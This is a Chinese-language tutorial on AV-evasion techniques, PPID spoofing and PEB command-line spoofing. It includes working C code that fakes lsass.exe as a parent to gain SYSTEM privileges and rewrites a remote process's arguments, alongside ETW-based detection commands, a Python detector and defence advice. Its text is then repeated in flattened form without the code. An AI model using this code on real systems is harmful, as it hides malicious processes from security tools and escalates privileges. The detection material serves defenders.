免杀基础-ppid伪造
字数 1338 2025-08-22 12:22:30

PPID伪造与进程参数伪造技术详解

1. PPID伪造技术

1.1 基本概念

PPID(Parent Process ID)伪造是一种进程伪装技术,通过修改新创建进程的父进程标识符,使其看起来像是由另一个进程创建的。这种技术常用于绕过安全检测,因为许多安全产品会监控异常进程创建行为。

1.2 实现原理

Windows系统中,可以通过CreateProcess函数创建进程时,在STARTUPINFOEX结构中添加PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性来指定父进程句柄。

1.3 实现步骤

  1. 获取目标父进程PID
    通过遍历进程列表获取想要伪装的父进程PID,例如伪装为lsass.exe:
DWORD getParentProcessID() {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32 = {sizeof(PROCESSENTRY32)};
    if(Process32First(snapshot, &pe32)) {
        do {
            if(!wcscmp(pe32.szExeFile, L"lsass.exe"))
                break;
        } while(Process32Next(snapshot, &pe32));
    }
    CloseHandle(snapshot);
    return pe32.th32ProcessID;
}
  1. 创建STARTUPINFOEX结构并初始化属性列表
    需要使用STARTUPINFOEX而不是普通的STARTUPINFO来设置进程扩展属性。
STARTUPINFOEX si = {sizeof(STARTUPINFOEX)};
PROCESS_INFORMATION pi;
SIZE_T size_t;
HANDLE expProcess;
expProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, getParentProcessID());

// 第一次调用获取所需缓冲区大小
InitializeProcThreadAttributeList(NULL, 1, 0, &size_t);
// 分配内存
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size_t);
// 初始化属性列表
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size_t);
// 更新父进程属性
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 
                         &expProcess, sizeof(expProcess), NULL, NULL);
  1. 创建进程
    使用EXTENDED_STARTUPINFO_PRESENT标志和设置好的STARTUPINFOEX结构创建进程。
CreateProcess(NULL, 
             _tcsdup(L"C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_11.2208.25.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe"),
             NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, 
             L"C:\\Windows\\System32\\", &si.StartupInfo, &pi);

1.4 权限继承

子进程可以从父进程继承访问令牌以提升权限。例如,如果管理员权限运行的恶意程序伪装PPID为具有system权限的进程(如lsass.exe),可以获得system权限。

2. PPID欺骗的检测方法

2.1 使用ETW(Event Tracing for Windows)记录进程创建事件

  1. 使用logman创建和启动事件追踪会话:
logman create trace "myTrace" -ets
logman update myTrace -p Microsoft-Windows-Kernel-Process 0x70 -ets
  1. 执行可疑操作后停止记录:
logman stop "myTrace" -ets
  1. 通过wmic查询进程的PPID:
wmic process where (processid=xxx) get parentprocessid
  1. 在事件查看器中分析日志,搜索"40336 started"事件,检查PID和PPID是否一致。

2.2 自动化检测脚本

使用Python编写ETW监听脚本检测PPID欺骗:

import time
import etw
import psutil

def process_event(event):
    try:
        event = event[1]
        if event["Task Name"] == "PROCESSSTART":
            pid = int(event["ProcessID"])
            epid = event["EventHeader"]["ProcessId"]
            ppid = psutil.Process(pid).ppid()
            if epid != ppid:
                print(f"{event['CreateTime']} - PPID Spoofing detected!")
                print(f"[+] pid: {pid}")
    except Exception as e:
        print(f"Error processing event: {e}")

providers = [etw.ProviderInfo('Microsoft-Windows-Kernel-Process', 
                            etw.GUID("{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}"))]
job = etw.ETW(providers=providers, event_callback=process_event, event_id_filters=[1])

try:
    print("press ctrl+c to stop tracing")
    job.start()
    time.sleep(999999)
except KeyboardInterrupt:
    print("Stopping ETW session...")
finally:
    job.stop()

3. 进程参数伪造技术

3.1 PEB(Process Environment Block)基础

PEB是一个包含进程全局信息的重要结构体,其中RTL_USER_PROCESS_PARAMETERS结构保存了进程参数信息。

关键结构体定义:

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    // ...其他字段...
    UNICODE_STRING CurrentDirectoryPath;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    // ...其他字段...
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    // ...其他字段...
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    // ...其他字段...
} PEB, *PPEB;

3.2 获取PEB地址

  • 64位系统:通过gs:[0x60]获取PEB地址
  • 32位系统:通过fs:[0x30]获取PEB地址
#ifdef _WIN64
PPEB peb = (PPEB)__readgsqword(0x60);
#endif
#ifdef _X86_
PPEB peb = (PPEB)__readfsdword(0x30);
#endif

3.3 修改当前进程参数

修改当前进程的命令行参数(注意不能比原字符串长,否则会覆盖其他内存导致崩溃):

peb->ProcessParameters->CommandLine.Buffer = _wcsdup(L"\"C:\\Windows\\SysWOW64\\IME\\SogouPY\\SogouImeBroker.exe\"");

3.4 修改远程进程参数

  1. 创建挂起的进程:
STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi;
CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), 
              NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
  1. 获取进程基本信息,包括PEB地址:
PROCESS_BASIC_INFORMATION pbi = {sizeof(PROCESS_BASIC_INFORMATION)};
pNtQueryInformationProcess NtQueryInformationProcess = 
    (pNtQueryInformationProcess)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess");
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
  1. 读取PEB和进程参数:
PEB peb;
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(PEB), NULL);

RTL_USER_PROCESS_PARAMETERS param;
ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &param, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL);
  1. 修改命令行参数:
pNtWriteVirtualMemory NtWriteVirtualMemory = 
    (pNtWriteVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtWriteVirtualMemory");
ULONG bytesWritten;
NtWriteVirtualMemory(pi.hProcess, param.CommandLine.Buffer, cmdLine, wcslen(cmdLine)*sizeof(WCHAR), &bytesWritten);
  1. 恢复线程执行:
ResumeThread(pi.hThread);

类似地,可以通过修改ImagePathName来伪造进程映像路径。

4. 防御建议

  1. 监控进程创建事件,特别是检查PID和PPID不一致的情况
  2. 使用ETW进行深度进程行为分析
  3. 限制进程创建权限,特别是高权限进程创建子进程的行为
  4. 监控进程参数修改行为
  5. 实施最小权限原则,减少高权限进程数量

5. 参考资源

  1. Parent Process ID (PPID) Spoofing - ired.team
  2. How to Detect Parent PID (PPID) Spoofing Attacks - picussecurity.com
PPID伪造与进程参数伪造技术详解 1. PPID伪造技术 1.1 基本概念 PPID(Parent Process ID)伪造是一种进程伪装技术,通过修改新创建进程的父进程标识符,使其看起来像是由另一个进程创建的。这种技术常用于绕过安全检测,因为许多安全产品会监控异常进程创建行为。 1.2 实现原理 Windows系统中,可以通过 CreateProcess 函数创建进程时,在 STARTUPINFOEX 结构中添加 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 属性来指定父进程句柄。 1.3 实现步骤 获取目标父进程PID : 通过遍历进程列表获取想要伪装的父进程PID,例如伪装为lsass.exe: 创建STARTUPINFOEX结构并初始化属性列表 : 需要使用 STARTUPINFOEX 而不是普通的 STARTUPINFO 来设置进程扩展属性。 创建进程 : 使用 EXTENDED_STARTUPINFO_PRESENT 标志和设置好的 STARTUPINFOEX 结构创建进程。 1.4 权限继承 子进程可以从父进程继承访问令牌以提升权限。例如,如果管理员权限运行的恶意程序伪装PPID为具有system权限的进程(如lsass.exe),可以获得system权限。 2. PPID欺骗的检测方法 2.1 使用ETW(Event Tracing for Windows)记录进程创建事件 使用logman创建和启动事件追踪会话: 执行可疑操作后停止记录: 通过wmic查询进程的PPID: 在事件查看器中分析日志,搜索"40336 started"事件,检查PID和PPID是否一致。 2.2 自动化检测脚本 使用Python编写ETW监听脚本检测PPID欺骗: 3. 进程参数伪造技术 3.1 PEB(Process Environment Block)基础 PEB是一个包含进程全局信息的重要结构体,其中 RTL_USER_PROCESS_PARAMETERS 结构保存了进程参数信息。 关键结构体定义: 3.2 获取PEB地址 64位系统:通过 gs:[0x60] 获取PEB地址 32位系统:通过 fs:[0x30] 获取PEB地址 3.3 修改当前进程参数 修改当前进程的命令行参数(注意不能比原字符串长,否则会覆盖其他内存导致崩溃): 3.4 修改远程进程参数 创建挂起的进程: 获取进程基本信息,包括PEB地址: 读取PEB和进程参数: 修改命令行参数: 恢复线程执行: 类似地,可以通过修改 ImagePathName 来伪造进程映像路径。 4. 防御建议 监控进程创建事件,特别是检查PID和PPID不一致的情况 使用ETW进行深度进程行为分析 限制进程创建权限,特别是高权限进程创建子进程的行为 监控进程参数修改行为 实施最小权限原则,减少高权限进程数量 5. 参考资源 Parent Process ID (PPID) Spoofing - ired.team How to Detect Parent PID (PPID) Spoofing Attacks - picussecurity.com